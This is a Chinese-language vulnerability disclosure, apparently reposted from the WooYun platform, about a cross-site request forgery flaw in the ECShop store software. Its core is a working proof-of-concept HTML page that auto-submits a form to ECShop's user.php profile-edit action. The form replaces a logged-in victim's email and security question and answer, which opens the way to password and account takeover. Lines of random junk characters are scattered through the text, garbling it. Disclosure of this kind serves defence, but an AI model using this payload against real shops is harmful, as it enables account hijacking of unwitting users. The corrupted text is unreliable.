ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
ecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现
! ^, o! G% i" r& o7 ~' @
+ v$ Q+ ?9 G2 z4 L0 K* N& LDemo For:http://www.wooyun.org/bug.php?action=view&id=395

: i, ~2 T8 }7 }( F详细说明：
5 `9 p; ~( L. n' }+ l( K5 F7 l" P利用csrf和xss可以突破官方所说的“障碍”
7 A/ f: _* Q8 F' uxss版本已经有人说明
这里给出csrf版本
* h5 J5 j+ x/ T1 N9 G# N: R
漏洞证明：
<html>
9 B+ J8 k, y( ~; P+ S<body>
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
8 N. U3 x6 Y, x  }<INPUT TYPE="text" NAME="act" value="act_edit_profile">
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
</body>
- ^! y- P# m) e& Z2 ^) B<script>
: Q& a9 J( C  V! R& jdocument.forms[0].submit();
" n' p1 z" N  t, c) T" n' t# {* I</script>
</html>
构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失

' x; ~0 p# g* N' k2 m  C